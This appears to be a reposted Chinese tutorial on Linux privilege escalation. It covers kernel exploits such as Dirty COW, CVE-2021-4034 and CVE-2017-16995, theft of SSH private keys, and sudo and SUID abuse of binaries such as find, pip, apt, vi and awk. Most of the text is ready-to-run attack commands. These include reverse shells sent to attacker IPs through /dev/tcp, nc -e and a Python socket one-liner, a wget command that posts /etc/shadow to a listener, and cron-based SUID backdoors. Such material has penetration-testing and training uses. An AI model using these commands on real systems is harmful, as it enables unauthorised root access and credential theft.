前言
在学习linux提权之前我们需要思考几个问题,我们为什么要提权?以及我们提权对我们有什么帮助?我们为什么要提权?
不是所有的机器都需要提权的,当你需要某些权限来运行某些脚本或者收集某些信息的时候,这时候才需要提权。
信息收集:
查看发行版本
cat /etc/issue
cat /etc/*-release
查看内核版本,
uname -a
内核提权-CVE-2021-4034
pkexec 本地提权
Github地址:https://github.com/berdav/CVE-2021-4034
通杀乌班图和centos
脏牛内核提权-CVE-2016-5195
Linux内核的内存子系统在处理 写入时复制产生了条件竞争。攻击者可以利用此漏洞来获取高权限,对制度内存映射进行写访问。条件竞争指的是任务执行顺序异常,可导致应用崩溃,或者进一步利用执行其他代码。利用这一漏洞会让攻击者大概率获得root权限!
脏牛系统提权范围:linux内核=>2.6.22
介绍:该漏洞利用dirtycow漏洞的pokemon漏洞利用作为基础,自动生成新的passwd行。运行二进制文件时,将提示用户输入新密码。然后将原始 /etc/passwd 文件备份到 /tmp/passwd.bak 并用生成的行覆盖 root 帐户。运行漏洞利用后,您应该能够使用新创建的用户登录。
Github:https://github.com/FireFart/dirtycow
查看内核信息
上传exp进行编译,再运行即可获得root权限!
CVE-2017-16995 ubuntu内核漏洞
流程:
Linux本地内核提权 CVE-2017-16995
从网上下载exp,或者kali导出exp上传到提权主机上。
gcc 45010.c -o 45010 编译
chmod +x 45010 增加权限
./45010 执行脚本
id
1、确认内核版本
2、上传Exploit到Ubuntu中
3、编译exp
4、执行exploit程序,执行完之后可见当前用户权限变成了root!提权成功。
kali辅助提权工具
找exp的路径
把它复制到当前目录下
确认目标有gcc,那么可以直接上传exp,在目标机器进行编译
也可以选择开一个http服务
攻击机:sudo python -m SimpleHTTPServer 80
受害机:wget http://192.168.239.141/37292.c -O /tmp/37292.c
受害机:对齐编译:gcc 37292.c -o exp
加权限,运行!
ssh密钥提权
描述:获取目标系统的ssh配置文件,达到ssh登录系统的目的。
拿到shell后,使用如下命令检查哪些用户是bash的:cat /etc/passwd | grep bash可能会有多个用户是由bash的,接下来检查哪些用户的家目录是可以被访问的,如果可以被访问,有没有.ssh隐藏目录。如果有的话,获取 id_rsa文件
复制 id_rsa的内容到kali上面,设置权限:
chmod 600 id_rsa
。然后尝试登录目标:
ssh -i id_rsa web1@ip
LINENUM.SH(本地LINUX枚举和提权辅助脚本)
项目地址:https://github.com/rebootuser/LinEnum
脚本简介
LinEnum 是一个 Linux 主机本地信息自动提取的 shell 脚本,它有超过 65 项安全检查功能,比如潜在的 SUID/GUID 文件、Sudo/rhost 错误配置等。另外这个脚本还可以根据关键字(比如 Password)搜索 *.conf 和 *.log 文件,这些功能对于渗透测试人员来说,是非常有用的。
一般来说,有很多时候我们无法查看passwd或者ip地址的时候,用这个脚本可以帮你一键获取你想要的信息!
chmod +x /tmp/LinEnum.sh
sh /tmp/LinEnum.sh > /tmp/getinfo.txt
linux-exploit-suggester2.sh
项目地址:https://github.com/jondonas/linux-exploit-suggester-2
运行之后可以看到很多系统中存在可利用的提权漏洞
第三方服务提权
以下这些提权方式都是第权限用户拥有sudo权限的时候进行提权的!
并且还要知道当前用户的密码
可以利用sudo提权的命令如下
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp
git提权
Sudo git -p help
!/bin/bash
输入sudo密码(当前用户的密码)
在光标处进行输入!/bin/bash。回车
提权成功!
find 提权
普通用户find命令提权
先查看find命令有没有提权的可能
必要条件:find必须有s执行权限,有s表示可以提权
尝试执行whoami
尝试调出一个交互式的bin/sh并且是root权限
此shell 为不完整的shell, 升级交互式。
#在反弹shell上执行
[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")'
[root@localhost ~]# ctrl +z 按键。挂起正在运行的程序
[kali机器 ~]# stty raw -echo
# 输入这个命令 在输入命令终端不再显示
[kali机器 ~]#fg
# 把后台挂起的程序,放入到控制台。终端不再显示命令,输入后回撤
[root@localhost ~]# reset
用find进行反弹shell
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.2.128/9919 0>&1 \;
利用find+nc反弹shell
find /var/www/dirty -exec nc x.x.x.x 8888 -t -e /bin/sh \;
find+python进行反弹shell
find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.128",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;
PIP提权
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
ed提权
wget提权
##kali上监听
nc -lvp 4444 > hash.txt
##靶机上
/usr/bin/wget --post-file=/etc/shadow 10.211.55.3:4444
攻击机:
受害机:
通过nc收到了http的文件内容保存到了test.txt中,可查看结果
apt提权
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
ZIP提权
sudo zip hash.zip hash.txt -T --unzip-command="sh -c /bin/bash"
taskset提权
sudo taskset 1 /bin/sh -p
sed提权
sudo sed -n '1e exec sh 1>&0' /etc/passwd
tmux提权
输入:sudo tmux
scp提权
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
perl提权
sudo perl -e 'exec "/bin/bash";'
bash提权
less提权
sudo less /etc/hosts
!bash
awk提权
sudo awk 'BEGIN {system("/bin/bash")}'
man提权
sudo man man
!bash
vi提权
sudo vi
:!bash
env提权
sudo env /bin/bash
ftp提权
sudo ftp
! /bin/bash
计划任务提权
对于可能存在的权限配置不当的有root权限的计划任务,让我们普通用户也拥有修改的权限,我们修改其中的内容,为bash、less等赋予SUID权限,与SUID提权结合,使其提权成功!
列出系统中的一些计划任务:
ls -l /etc/cron*
cat /etc/crontab
如果遇到了权限为777配置不当的计划任务,我们可以修改时,我们可以往文件里面添加内容。
比如把shell复制到tmp目录下其次给权限
cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;
或者给其他组件权限也可以进行提权,比如find、vim、less之类的,具体方法上面有写。
注意:当我们获取到一些如数据库、后台 web 密码,可能就是 root 密码喔!要多多尝试
原文出处:Linux提权小结 (qq.com)
版权归原作者 yggcwhat 所有, 如有侵权,请联系我们删除。